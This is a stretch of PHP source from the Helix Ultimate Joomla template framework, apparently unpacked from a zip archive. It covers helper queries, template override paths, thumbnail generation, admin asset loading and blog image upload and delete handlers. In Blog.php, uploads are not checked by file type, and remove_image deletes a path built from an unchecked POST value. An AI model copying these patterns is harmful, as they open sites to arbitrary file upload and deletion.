	 * Flush settings data towards the javascript using addScriptOptions
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	public static function flushSettingsDataToJs()
	{
		$doc = Factory::getDocument();
		
		$loadTemplateData = self::loadTemplateData();
		$stickyOffset	= $loadTemplateData->params->get('sticky_offset', '100');

		$data = array(
			'breakpoints' => array(
				'tablet' => 991,
				'mobile' => 480
			),
			'header' => array(
				'stickyOffset' => $stickyOffset
			)
			// 'topbarHeight' => 40
		);

		$doc->addScriptOptions('data', $data);
	}

	public static function getModules($keyword = '')
	{
		$modules = [];

		if (!empty($keyword))
		{
			$keyword = preg_replace("@\s+@", ' ', trim($keyword));
			$keyword = implode('|', explode(' ', $keyword));
		}

		try
		{
			$db = Factory::getDbo();
			$query = $db->getQuery(true);
			$query->select('DISTINCT m.id, m.title, m.module, m.position, m.params, e.manifest_cache')
				->from($db->quoteName('#__modules', 'm'))
				->where($db->quoteName('m.client_id') . ' = 0');
			$query->join('LEFT', $db->quoteName('#__extensions', 'e') . ' ON (' . $db->quoteName('e.element') . ' = ' . $db->quoteName('m.module') . ')');
			
			if (!empty($keyword))
			{
				$query->where($db->quoteName('m.title') . ' REGEXP ' . $db->quote($keyword));
			}

			$query->order($db->quoteName('m.title') . ' ASC');
			$db->setQuery($query);

			$modules = $db->loadObjectList();
		}
		catch (\Exception $e)
		{
			return [];
		}

		$lang = Factory::getLanguage();
		$client = ApplicationHelper::getClientInfo(0);

		if (!empty($modules))
		{
			foreach ($modules as &$module)
			{
				$module->desc = Text::_('COM_MODULES_NODESCRIPTION');

				if (isset($module->manifest_cache) && \is_string($module->manifest_cache))
				{
					$lang->load($module->module . '.sys', $client->path, null, false, true)
						|| $lang->load($module->module . '.sys', $client->path . '/modules/' . $module->module, null, false, true);

					$module->manifest_cache = \json_decode($module->manifest_cache);
					
					if (!empty($module->manifest_cache->description))
					{
						$module->desc = Text::_($module->manifest_cache->description);
					}
					else
					{
						$module->desc = Text::_('COM_MODULES_NODESCRIPTION');
					}
				}
			}

			unset($module);
		}

		return $modules;
	}

	/**
	 * Get template position
	 */
	public static function getTemplatePositions()
	{
		$positions = array();
		$template = self::loadTemplateData();

		$templateBaseDir = JPATH_SITE;
		$filePath = Path::clean($templateBaseDir . '/templates/' . $template->template . '/templateDetails.xml');

		if (is_file($filePath))
		{
			// Read the file to see if it's a valid component XML file
			$xml = simplexml_load_file($filePath);

			if (!$xml)
			{
				return false;
			}

			// Check for a valid XML root tag.
			// Extensions use 'extension' as the root tag.  Languages use 'metafile' instead
			if ($xml->getName() != 'extension' && $xml->getName() != 'metafile')
			{
				unset($xml);

				return false;
			}

			$positions = (array) $xml->positions;

			if (isset($positions['position']))
			{
				$positions = (array) $positions['position'];
			}
			else
			{
				$positions = array();
			}
		}

		return $positions;
	}

	public static function getMenuItems($parentId, &$menuItemList)
	{
		$elements = [];

		try
		{
			$db 	= Factory::getDbo();
			$query 	= $db->getQuery(true);
			$query->select('id, title, parent_id, level')
				->from($db->quoteName('#__menu'))
				->where($db->quoteName('parent_id') . ' = ' . (int) $parentId)
				->where($db->quoteName('published') . ' = 1')
				->where($db->quoteName('client_id') . ' = 0');
			$db->setQuery($query);

			$elements = $db->loadObjectList();
		}
		catch (\Exception $e)
		{
			return [];
		}

		if (!empty($elements))
		{
			foreach ($elements as $element)
			{
				if (isset($menuItemList->$parentId))
				{
					$menuItemList->$parentId->children[] = $element->id;
				}

				$elementId = $element->id;
				$temp = new \stdClass;
				$temp->id = $element->id;
				$temp->title = $element->title;
				$temp->level = $element->level;
				$temp->children = [];
				$menuItemList->$elementId = $temp;

				self::getMenuItems($element->id, $menuItemList);
			}
		}
	}

	/**
	 * Get the search module for the pre-defined headers.
	 *
	 * @return	Object	The module object.
	 * @since	2.0.0
	 */
	public static function getSearchModule()
	{
		$version = JoomlaBridge::getVersion('major');
		$name = $version < 4 ? 'mod_search' : 'mod_finder';

		$module = self::createModule($name, [
			'title' => 'Search',
			'params' => '{"show_label": 0, "label":"","width":20,"text":"","button":0,"button_pos":"right","imagebutton":0,"button_text":"","opensearch":1,"opensearch_title":"","set_itemid":0,"layout":"_:default","moduleclass_sfx":"","cache":1,"cache_time":900,"cachemode":"itemid","module_tag":"div","bootstrap_size":"0","header_tag":"h3","header_class":"","style":"0"}'
		]);

		return $module;
	}

	/**
	 * Create a module object which is not created or published.
	 *
	 * @param	string	$name		The module name with mod_ prefixed.
	 * @param	array	$options	The module options.
	 *
	 * @return	object	The module object.
	 * @since	2.0.0
	 */
	public static function createModule($name, $options = [])
	{
		if (empty($name))
		{
			throw new \Exception(\sprintf('%s method expect the module $name as first argument!', __METHOD__));
		}

		if (!empty($options) && \is_object($options))
		{
			$options = (array) $options;
		}

		$defaultOptions = ['id' => 0, 'title' => '', 'module' => $name, 'position' => '', 'content' => '', 'showtitle' => 0, 'control' => '', 'params' => '', 'menuid' => 0, 'style' => ''];

		return ArrayHelper::toObject(\array_merge($defaultOptions, $options));
	}

	/**
	 * Check a string ends with a needle or not.
	 *
	 * @param	string	$haystack	The main string.
	 * @param	string	$needle		The needle to search at the end.
	 *
	 * @return	bool	True if find at the end, false otherwise.
	 * @since 	2.0.2
	 */
	public static function endsWith(string $haystack, string $needle): bool
	{
		$isEight = \version_compare(PHP_VERSION, '8.0.0') >= 0;
		$length = strlen($needle);

		if ($isEight)
		{
			return \str_ends_with($haystack, $needle);
		}

		return !$length ? true : substr($haystack, -$length) === $needle;
	}

	/**
	 * Check a string starts with a needle or not.
	 *
	 * @param	string	$haystack	The main string.
	 * @param	string	$needle		The needle to search at the beginning.
	 *
	 * @return	bool	True if find at the starting position, false otherwise.
	 * @since 	2.0.2
	 */
	public static function startsWith(string $haystack, string $needle): bool
	{
		$isEight = \version_compare(PHP_VERSION, '8.0.0') >= 0;
		$length = strlen($needle);

		if ($isEight)
		{
			return \str_starts_with($haystack, $needle);
		}

		return substr($haystack, 0, $length) === $needle;
	}

	private static function getMenuAliasById(int $pageId)
	{
		$db 	= Factory::getDbo();
		$query 	= $db->getQuery(true);
		$query->select('alias')
			->from($db->quoteName('#__menu'))
			->where($db->quoteName('link') . ' = ' . $db->quote('index.php?option=com_sppagebuilder&view=page&id=' . $pageId));
		$db->setQuery($query);

		try
		{
			return $db->loadResult();
		}
		catch (\Exception $e)
		{
			Factory::getApplication()->enqueueMessage($e->getMessage());
			return '404';
		}

		return '404';
	}
	
	public static function renderPage(string $code, int $pageId)
	{
		$app = Factory::getApplication();
		$config = $app->getConfig();
		$sef = $config->get('sef');
		$sef_rewrite = $config->get('sef_rewrite');
		$sef_suffix = $config->get('sef_suffix');

		$redirect_url = Uri::base();

		if(!$sef_rewrite)
		{
			$redirect_url .= 'index.php/';
		}

		$redirect_url .= self::getMenuAliasById($pageId);

		if($sef_suffix)
		{
			$redirect_url .= '.html';
		}

		// If sef is turned off
		if(!$sef)
		{
			$redirect_url = 'index.php?option=com_sppagebuilder&view=page&id=' . $pageId;
		}

		if ($code == '404')
		{
			header('Location: ' . $redirect_url, true, 301);
			exit;
		}
	}
}
PK!���+helixultimate/src/Platform/HTMLOverride.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

namespace HelixUltimate\Framework\Platform;

use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\Path;

/**
 * Static class for managing the overrides.
 *
 * @since 2.0.2
 */
final class HTMLOverride
{

	/**
	 * The HTML path from the template.
	 *
	 * @var 	string	$htmlPath	The template's HTML directory path.
	 * @since 	2.0.2
	 */
	private static $htmlPath = JPATH_ROOT . '/templates/{{template}}/html';

	/**
	 * The `overrides` directory path from the plugin
	 *
	 * @var 	string	$overridePath	The plugin's overrides directory path.
	 * @since 	2.0.2
	 */
	private static $overridePath = JPATH_ROOT . '/plugins/system/helixultimate/overrides';

	/**
	 * The template override path from the template.
	 *
	 * @var 	string	$tmplOverridePath	The template's override path.
	 * @since 	2.0.3
	 */
	private static $tmplOverridePath = JPATH_ROOT . '/templates/{{template}}/overrides';

	/**
	 * Parse the path with proper template name.
	 *
	 * @param 	string 	$path	The location path.
	 *
	 * @return 	string	The parsed path.
	 * @since 	2.0.2
	 */
	private static function parsePath(string $path): string
	{
		$template = Helper::loadTemplateData();
		$path = \preg_replace("@\{\{template\}\}@", $template->template, $path);

		return Path::clean($path);
	}

	/**
	 * Extract the path string by splitting it using a backslash.
	 * returns the splitted array.
	 *
	 * @param 	string 	$path	The path string to extract.
	 *
	 * @return 	array	The splitted array of the path.
	 * @since 	2.0.2
	 */
	private static function extractPath(string $path): array
	{
		return explode('/', trim($path, '/'));
	}

	/**
	 * If the system could not detect the override file at template's `overrides`
	 * folder or the plugin's `override` folder, then it search the template
	 * file at the extension's path. 
	 *
	 * @param 	string 	$path	The path to identify the extension template location.
	 *
	 * @return 	string	The extension path after parsing the location $path.
	 * @since 2.0.2
	 */
	private static function generateExtensionPath(string $path) : string
	{
		if (empty($path))
		{
			return '';
		}

		$path = self::extractPath($path);

		$version = JVERSION;
		$extension = $path[0];

		/** If the path is for a component- */
		if (\strpos($extension, 'com_') === 0)
		{
			if ($version < 4)
			{
				\array_splice($path, 1, 0, ['views']);
				\array_splice($path, 3, 0, ['tmpl']);
			}
			else
			{
				\array_splice($path, 1, 0, ['tmpl']);
			}

			return JPATH_ROOT . '/components/' . \implode('/', $path);
		}
		/** If the extension path is for a module- */
		elseif (\strpos($extension, 'mod_') === 0)
		{
			\array_splice($path, 1, 0, ['tmpl']);

			return JPATH_ROOT . '/modules/' . \implode('/', $path);
		}
		/** If the extension path is for a plugin- */
		elseif (\strpos($extension, 'plg_') === 0)
		{
			/**
			 * Plugin folder name inside a override directory is like `plg_pluginFolder_pluginName`
			 * explode the string using the  underscore (_) and make the plugin path.
			 */
			$pluginPath = \explode('_', $extension);
			\array_splice($pluginPath, 0, 1);
			\array_push($pluginPath, 'tmpl');

			\array_splice($path, 0, 1, $pluginPath);
			return JPATH_ROOT . '/plugins/' . \implode('/', $path);
		}
		/** If the path is for the layouts */
		elseif ($extension === 'layouts')
		{
			return JPATH_ROOT . '/' . \implode('/', $path);
		}

		return \implode('/', $path);
	}

	/**
	 * load the template HTML from the plugin.
	 *
	 * @return	void
	 * @since 	2.0.2
	 */
	public static function loadTemplate(): string
	{
		$backtrace = \debug_backtrace();
		$callPath = $backtrace[0]['file'] ?? '';
		$staticHtmlPath = self::parsePath(self::$htmlPath);
		$staticOverridePath = self::parsePath(self::$overridePath);
		$templateOverrideUri = self::parsePath(self::$tmplOverridePath);
		$webAssetUri = self::parsePath('/templates/{{template}}/joomla.asset.json');

		$relativePath = '';
		$overridePath = '';

		/**
		 * If the callee file is in the template's html directory.
		 */
		if (\strpos($callPath, $staticHtmlPath) === 0)
		{
			$relativePath = \substr($callPath, \strlen($staticHtmlPath));
		}

		/** If no relative path extracted. */
		if (empty($relativePath))
		{
			return self::generateExtensionPath(\substr($callPath, stripos($callPath, '/html/') + 5));
		}

		$templateOverridePath = $templateOverrideUri . $relativePath;

		if (\file_exists($templateOverridePath))
		{
			return $templateOverridePath;
		}

		$pluginOverridePath = $staticOverridePath . $relativePath;

		if (\file_exists($pluginOverridePath))
		{
			return $pluginOverridePath;
		}

		return self::generateExtensionPath($relativePath);
	}
}
PK!��PH
H
,helixultimate/src/Platform/Classes/Image.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

namespace HelixUltimate\Framework\Platform\Classes;

defined('_JEXEC') or die();

/**
 * Image manipulation class.
 *
 * @since	1.0.0
 */
class Image
{
	public static function createThumbs($src, $sizes, $folder, $base_name, $ext, $quality = 100)
	{

		list($originalWidth, $originalHeight) = getimagesize($src);

		switch ($ext)
		{
			case 'bmp':
				$img = imagecreatefromwbmp($src);
				break;
			case 'gif':
				$img = imagecreatefromgif($src);
				break;
			case 'jpg':
				$img = imagecreatefromjpeg($src);
				break;
			case 'jpeg':
				$img = imagecreatefromjpeg($src);
				break;
			case 'png':
				$img = imagecreatefrompng($src);
				break;
		}

		if (!empty($sizes))
		{
			$output = array();

			if ($base_name)
			{
				$output['original'] = $folder . '/' . $base_name . '.' . $ext;
			}

			foreach ($sizes as $key => $size)
			{
				$targetWidth	= $size[0];
				$targetHeight 	= $size[1];
				$ratio_thumb 	= $targetWidth / $targetHeight;
				$ratio_original = $originalWidth / $originalHeight;

				if ($ratio_original >= $ratio_thumb)
				{
					$height = $originalHeight;
					$width = ceil(($height * $targetWidth) / $targetHeight);
					$x = ceil(($originalWidth - $width) / 2);
					$y = 0;
				}
				else
				{
					$width = $originalWidth;
					$height = ceil(($width * $targetHeight) / $targetWidth);
					$y = ceil(($originalHeight - $height) / 2);
					$x = 0;
				}

				$new = imagecreatetruecolor($targetWidth, $targetHeight);

				if ($ext === 'gif' || $ext === 'png')
				{
					imagecolortransparent($new, imagecolorallocatealpha($new, 0, 0, 0, 100));
					imagealphablending($new, false);
					imagesavealpha($new, true);
				}

				imagecopyresampled($new, $img, 0, 0, $x, $y, $targetWidth, $targetHeight, $width, $height);

				if ($base_name)
				{
					$dest = dirname($src) . '/' . $base_name . '_' . $key . '.' . $ext;
					$output[$key] = $folder . '/' . $base_name . '_' . $key . '.' . $ext;
				}
				else
				{
					$dest = $folder . '/' . $key . '.' . $ext;
				}

				switch ($ext)
				{
					case 'bmp':
						imagewbmp($new, $dest);
						break;
					case 'gif':
						imagegif($new, $dest);
						break;
					case 'jpg':
						imagejpeg($new, $dest, $quality);
						break;
					case 'jpeg':
						imagejpeg($new, $dest, $quality);
						break;
					case 'png':
						imagepng($new, $dest);
						break;
				}
			}

			return $output;
		}

		return false;
	}
}
PK!W�%�%'helixultimate/src/Platform/Platform.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

namespace HelixUltimate\Framework\Platform;

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Helper;
use HelixUltimate\Framework\Platform\Request;
use HelixUltimate\Framework\System\HelixDocument;
use HelixUltimate\Framework\System\JoomlaBridge;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Uri\Uri;

/**
 * Platform management class.
 *
 * @since   1.0.0
 */
class Platform
{
	/**
	 * Joomla! app instance.
	 *
	 * @var		CMSApplication		$app	The CMS application instance.
	 * @since	1.0.0
	 */
	protected $app;

	/**
	 * Component name. Invoke from input option.
	 *
	 * @var		string	$option		The option query string value.
	 * @since	1.0.0
	 */
	protected $option;

	/**
	 * Helix value.
	 *
	 * @var		string	$helix	The helix value from query string.
	 * @since	1.0.0
	 */
	protected $helix;

	/**
	 * View name.
	 *
	 * @var		string	$view	The view name from query string.
	 * @since	1.0.0
	 */
	protected $view;

	/**
	 * Template ID value.
	 *
	 * @var		integer		$id		The template ID.
	 * @since	1.0.0
	 */
	protected $id;

	/**
	 * Request value.
	 *
	 * @var		string	$request	The request value from query string.
	 * @since	1.0.0
	 */
	protected $request;

	/**
	 * Helix Version.
	 *
	 * @var		string		$version	The helix version.
	 * @sine	1.0.0
	 */
	protected $version;

	/**
	 * The users array.
	 *
	 * @var		object	$user		The users.
	 * @since	1.0.0
	 */
	protected $user = null;

	/**
	 * If the user has the permission.
	 *
	 * @var		boolean		$permission		The permission value.
	 * @since	1.0.0
	 */
	protected $permission = false;

	/**
	 * Constructor function for platform.
	 *
	 * @return 	void
	 * @since	1.0.0
	 */
	public function __construct()
	{
		$this->user = Factory::getUser();
		$this->app  = Factory::getApplication();
		$input 		= $this->app->input;

		$this->version    = Helper::getVersion();

		$this->option     = $input->get('option', '', 'STRING');
		$this->helix      = $input->get('helix', '', 'STRING');
		$this->view       = $input->get('view', '', 'STRING');
		$this->id         = $input->get('id', null, 'INT');
		$this->request    = $input->get('request', '', 'STRING');

		$this->userTmplEditPermission();
	}

	/**
	 * Initialize the platform
	 *
	 * @return 	void
	 * @since	1.0.0
	 */
	public function initialize()
	{
		if ($this->option === 'com_ajax' && $this->helix === 'ultimate' && $this->id && $this->permission)
		{
			$app = Factory::getApplication();
			$id = (int) $app->input->get('id', 0, 'INT');
			$style = Helper::getTemplateStyle($id);

			$layoutData = array(
				'style' => $style,
				'id' 	=> $this->id,
				'version' 	=> $this->version,
				'view' 		=> $this->view,
				'iframe'	=> [
					'url' => Uri::root(true) . '/index.php?templateStyle=' . $style->id . "&helixMode=edit",
					'width' => '100%',
					'height' => '100%'
				]
			);

			return LayoutHelper::render('display', $layoutData, HELIX_LAYOUTS_PATH);
		}
	}

	/**
	 * Handle the task requests.
	 * This function is responsible for handling the API requests
	 * which are made as task or subtask
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	public function handleRequests()
	{
		$request = new Request;

		if ($this->option === 'com_ajax' && $this->helix === 'ultimate' && $this->request === 'task')
		{
			$request->initialize();
			exit;
		}
	}

	/**
	 * Check user template edit permission.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function userTmplEditPermission()
	{
		if ($this->user->id && $this->user->authorise('core.edit', 'com_templates'))
		{
			$this->permission = true;
		}
	}

	/**
	 * Load framework system.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public static function loadFrameworkSystem()
	{
		$app = Factory::getApplication();
		$doc = Factory::getDocument();
		$helixDocument = new HelixDocument;
		$style_id = (int) $app->input->get('id', 0, 'INT');

		$template = Helper::loadTemplateData();
		$helix_plg_uri = Uri::root(true) . '/plugins/system/helixultimate';
		$helix_assets_url = Uri::root() . 'plugins/system/helixultimate/assets';

		Factory::getLanguage()->load('tpl_' . $template->template, JPATH_SITE, null, true);
		self::registerLanguageScripts();

		/** Set meta information. */
		$doc->setTitle("Helix Ultimate Framework");
		$doc->setGenerator('Helix Ultimate - The Best Joomla Template Framework!');
		$doc->addFavicon($helix_plg_uri . '/assets/images/favicon.ico');
		$doc->setMetaData('viewport', 'width=device-width, initial-scale=1.0');

		$helixDocument->addInlineScript('var helixUltimateStyleId = ' . $style_id . ';');

		/** System defined assets */
		$helixDocument->useScript('jquery')
			->useScript('jquery-noconflict')
			->useScript('jquery-migrate')
			->registerAndUseScript('cms', '', ['version' => 'auto', 'relative' => true])
			->registerAndUseScript('script.bootstrap', '', ['version' => 'auto', 'relative' => true])
			->registerAndUseStyle('style.bootstrap', $helix_assets_url . '/css/bootstrap.min.css', ['version' => 'auto', 'relative' => true])
			->useScript('keepalive')
			->registerAndUseScript('script.chosen', '', ['version' => 'auto', 'relative' => true])
			->registerAndUseScript('script.colorPicker', '', ['version' => 'auto', 'relative' => true]);

		HTMLHelper::_('jquery.token');

		if (JoomlaBridge::getVersion('major') >= 4)
		{
			$helixDocument->useScript('core');
		}

		
		/** Framework defined assets */
		$helixDocument->registerAndUseStyle('style.chosen', '', ['version' => 'auto', 'relative' => true])
			->registerAndUseStyle('style.colorPicker', '', ['version' => 'auto', 'relative' => true])
			->registerAndUseStyle('helix.jquery.ui', $helix_assets_url . '/css/admin/jquery-ui.min.css', ['version' => 'auto', 'relative' => true])
			->registerAndUseStyle('helix.ultimate', $helix_assets_url . '/css/admin/helix-ultimate.css', ['version' => 'auto', 'relative' => true])
			->registerAndUseStyle('helix.modal', $helix_assets_url . '/css/admin/modal.css', ['version' => 'auto', 'relative' => true])
			->registerAndUseStyle('helix.fontAwesome', Uri::root() . 'templates/' . $template->template . '/css/font-awesome.min.css')
			->registerAndUseStyle('helix.device-field', $helix_assets_url . '/css/admin/devices-field.css', ['version' => 'auto', 'relative' => true])
			->registerAndUseStyle('style.helix.menuBuilder', $helix_assets_url . '/css/admin/menu-builder.css', ['version' => 'auto', 'relative' => true])
			->registerAndUseStyle('style.helix.megaMenu', $helix_assets_url . '/css/admin/megamenu.css', ['version' => 'auto', 'relative' => true])
			->registerAndUseStyle('style.helix.toaster', $helix_assets_url . '/css/admin/toaster.css', ['version' => 'auto', 'relative' => false]);

		$helixDocument->registerAndUseScript('helix.jquery.ui', $helix_assets_url . '/js/admin/jquery-ui.min.js', ['version' => 'auto', 'relative' => true], ['defer' => true])
			->registerAndUseScript('helix.toaster', $helix_assets_url . '/js/admin/toaster.js', ['version' => 'auto', 'relative' => false], ['defer' => false])
			->registerAndUseScript('helix.utils', $helix_assets_url . '/js/admin/utils.js', ['version' => 'auto', 'relative' => true], ['defer' => false])
			->registerAndUseScript('helix.fields', $helix_assets_url . '/js/admin/fields.js', ['version' => 'auto', 'relative' => true], ['defer' => true])
			->registerAndUseScript('helix.ultimate', $helix_assets_url . '/js/admin/helix-ultimate.js', ['version' => 'auto', 'relative' => true], ['defer' => true])
			->registerAndUseScript('helix.webFont', $helix_assets_url . '/js/admin/webfont.js', ['version' => 'auto', 'relative' => true], ['defer' => true])
			->registerAndUseScript('helix.modal', $helix_assets_url . '/js/admin/modal.js', ['version' => 'auto', 'relative' => true], ['defer' => true])
			->registerAndUseScript('helix.layout', $helix_assets_url . '/js/admin/layout.js', ['version' => 'auto', 'relative' => true], ['defer' => true])
			->registerAndUseScript('helix.media', $helix_assets_url . '/js/admin/media.js', ['version' => 'auto', 'relative' => true], ['defer' => true])
			->registerAndUseScript('helix.device-field', $helix_assets_url . '/js/admin/devices-field.js', ['version' => 'auto', 'relative' => true], ['defer' => true])
			->registerAndUseScript('helix.presets', $helix_assets_url . '/js/admin/presets.js', ['version' => 'auto', 'relative' => true], ['defer' => true])
			->registerAndUseScript('helix.treeSortable', $helix_assets_url . '/js/admin/treeSortable.js', ['version' => 'auto', 'relative' => true], ['defer' => true])
			->registerAndUseScript('helix.menubuilder', $helix_assets_url . '/js/admin/menubuilder.js', ['version' => 'auto', 'relative' => true], ['defer' => true])
			->registerAndUseScript('helix.megamenu', $helix_assets_url . '/js/admin/megamenu.js', ['version' => 'auto', 'relative' => true], ['defer' => true]);

		// Pass important data to Joomla variable for javascript
		$meta = array(
			'base' => rtrim(Uri::root(), '/'),
			'activeMenu' => $template->params->get('menu', 'mainmenu', 'STRING')
		);

		$doc->addScriptOptions('meta', $meta);
		$doc->setBuffer((new self)->initialize(), 'component');
	}

	/**
	 * Register the framework language strings for JavaScript.
	 * i.e by Joomla.Text._()
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	private static function registerLanguageScripts()
	{
		Text::script('HELIX_ULTIMATE_SELECT_ICON_LABEL');
	}
}
PK!�Q����#helixultimate/src/Platform/Blog.phpnu&1i�<?php
/**
 * @package	Helix_Ultimate_Framework
 * @author	JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

namespace HelixUltimate\Framework\Platform;

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\Registry\Registry;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Uri\Uri;
use HelixUltimate\Framework\Platform\Classes\Image;
use Joomla\CMS\Component\ComponentHelper;

/**
 * Blog class.
 *
 * @since	1.0.0
 */
class Blog
{
	public static function upload_image()
	{

		$report = array();
		$report['status'] = false;
		$report['output'] = 'Invalid Token';
		Session::checkToken() or die(json_encode($report));

		$input = Factory::getApplication()->input;
		$image = $input->files->get('image');
		$index = htmlspecialchars($input->post->get('index', '', 'STRING'));
		$gallery = $input->post->get('gallery', false, 'BOOLEAN');

		$tplRegistry = new Registry;
		$tplParams = $tplRegistry->loadString(self::getTemplate()->params);

		// User is not authorised
		if (!Factory::getUser()->authorise('core.create', 'com_media'))
		{
			$report['status'] = false;
			$report['output'] = Text::_('You are not authorised to upload file.');
			echo json_encode($report);
			die();
		}

		if (!empty($image))
		{
			if ($image['error'] === UPLOAD_ERR_OK)
			{
				$error = false;

				$params = ComponentHelper::getParams('com_media');

				$contentLength 	= (int) $_SERVER['CONTENT_LENGTH'];
				$mediaHelper 	= new \JHelperMedia;
				$postMaxSize 	= $mediaHelper->toBytes(ini_get('post_max_size'));
				$memoryLimit 	= $mediaHelper->toBytes(ini_get('memory_limit'));

				if (($postMaxSize > 0 && $contentLength > $postMaxSize) || ($memoryLimit !== -1 && $contentLength > $memoryLimit))
				{
					$report['status'] = false;
					$report['output'] = Text::_('Total size of upload exceeds the limit.');
					$error = true;
					die(json_encode($report));
				}

				$uploadMaxSize 		= $params->get('upload_maxsize', 0) * 1024 * 1024;
				$uploadMaxFileSize 	= $mediaHelper->toBytes(ini_get('upload_max_filesize'));

				if (($image['error'] === 1) || ($uploadMaxSize > 0 && $image['size'] > $uploadMaxSize) || ($uploadMaxFileSize > 0 && $image['size'] > $uploadMaxFileSize))
				{
					$report['status'] = false;
					$report['output'] = Text::_('This file is too large to upload.');
					$error = true;
				}

				if (!$error)
				{
					$date = Factory::getDate();
					$folder = HTMLHelper::_('date', $date, 'Y') . '/' . \JHtml::_('date', $date, 'm') . '/' . HTMLHelper::_('date', $date, 'd');

					if (!file_exists(JPATH_ROOT . '/images/' . $folder))
					{
						Folder::create(\JPATH_ROOT . '/images/' . $folder, 0755);
					}

					$name = $image['name'];
					$path = $image['tmp_name'];

					// Do no override existing file
					$file = pathinfo($name);
					$i = 0;

					do
					{
						$base_name  = $file['filename'] . ($i ? "$i" : "");
						$ext        = $file['extension'];
						$image_name = $base_name . "." . $ext;
						$i++;
						$dest = JPATH_ROOT . '/images/' . $folder . '/' . $image_name;
						$src = 'images/' . $folder . '/' . $image_name;
						$data_src = 'images/' . $folder . '/' . $image_name;
					}
					while (file_exists($dest));

					if (File::upload($path, $dest))
					{
						$image_quality = $tplParams->get('image_crop_quality', '100');

						if ($tplParams->get('image_small', 0))
						{
							$sizes['small'] = explode('x', strtolower($tplParams->get('image_small_size', '100X100')));
						}

						if ($tplParams->get('image_thumbnail', 1))
						{
							$sizes['thumbnail'] = explode('x', strtolower($tplParams->get('image_thumbnail_size', '200X200')));
						}

						if ($tplParams->get('image_medium', 0))
						{
							$sizes['medium'] = explode('x', strtolower($tplParams->get('image_medium_size', '300X300')));
						}

						if ($tplParams->get('image_large', 0))
						{
							$sizes['large']  = explode('x', strtolower($tplParams->get('image_large_size', '600X600')));
						}

						if (!empty($sizes))
						{
							$sources = Image::createThumbs($dest, $sizes, $folder, $base_name, $ext, $image_quality);
						}

						if (File::exists(JPATH_ROOT . '/images/' . $folder . '/' . $base_name . '_thumbnail.' . $ext))
						{
							$src = 'images/' . $folder . '/' . $base_name . '_thumbnail.' . $ext;
						}

						$report['status'] = true;
						$report['index'] = $index;

						if ($gallery)
						{
							$report['output'] = '<a href="#" class="btn btn-mini btn-danger btn-hu-remove-gallery-image"><span class="fas fa-times" aria-hidden="true"></span></a><img src="' . URI::root(true) . '/' . $src . '" alt="">';
							$report['data_src'] = $data_src;
						}
						else
						{
							$report['output'] = '<img src="' . Uri::root(true) . '/' . $src . '" data-src="' . $data_src . '" alt="">';
						}
					}
				}
			}
		}
		else
		{
			$report['status'] = false;
			$report['output'] = Text::_('Upload Failed!');
		}

		die(json_encode($report));
	}

	/**
	 * Delete file.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public static function remove_image()
	{
		$report = array();
		$report['status'] = false;
		$report['output'] = 'Invalid Token';
		Session::checkToken() or die(json_encode($report));

		if (!Factory::getUser()->authorise('core.delete', 'com_media'))
		{
			$report['status'] = false;
			$report['output'] = Text::_('You are not authorised to delete file.');
			echo json_encode($report);
			die();
		}

		$input = Factory::getApplication()->input;
		$src = $input->post->get('src', '', 'STRING');

		$path = JPATH_ROOT . '/' . $src;

		if (File::exists($path))
		{
			if (File::delete($path))
			{
				$basename 	= basename($src);
				$small 		= JPATH_ROOT . '/' . dirname($src) . '/' . File::stripExt($basename) . '_small.' . File::getExt($basename);
				$thumbnail 	= JPATH_ROOT . '/' . dirname($src) . '/' . File::stripExt($basename) . '_thumbnail.' . File::getExt($basename);
				$medium 	= JPATH_ROOT . '/' . dirname($src) . '/' . File::stripExt($basename) . '_medium.' . File::getExt($basename);
				$large 		= JPATH_ROOT . '/' . dirname($src) . '/' . File::stripExt($basename) . '_large.' . File::getExt($basename);

				if (File::exists($small))
				{
					File::delete($small);
				}

				if (File::exists($thumbnail))
				{
					File::delete($thumbnail);
				}

				if (File::exists($medium))
				{
					File::delete($medium);
				}

				if (File::exists($large))
				{
					File::delete($large);
				}

				$report['status'] = true;
			}
			else
			{
				$report['status'] = false;
				$report['output'] = Text::_('Delete failed');
			}
		}
		else
		{
			$report['status'] = true;
		}

		die(json_encode($report));
	}

	/**
	 * Get template.
	 *
	 * @return	object	Template information.
	 * @since	1.0.0
	 */
	private static function getTemplate()
	{

		$db = Factory::getDbo();
		$query = $db->getQuery(true);

		$query->select($db->quoteName(array('template', 'params')));
		$query->from($db->quoteName('#__template_styles'));
		$query->where($db->quoteName('client_id') . ' = ' . $db->quote(0));
		$query->where($db->quoteName('home') . ' = ' . $db->quote(1));

		$db->setQuery($query);

		return $db->loadObject();

	}
}

PK!����0'0'$helixultimate/src/Platform/Media.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
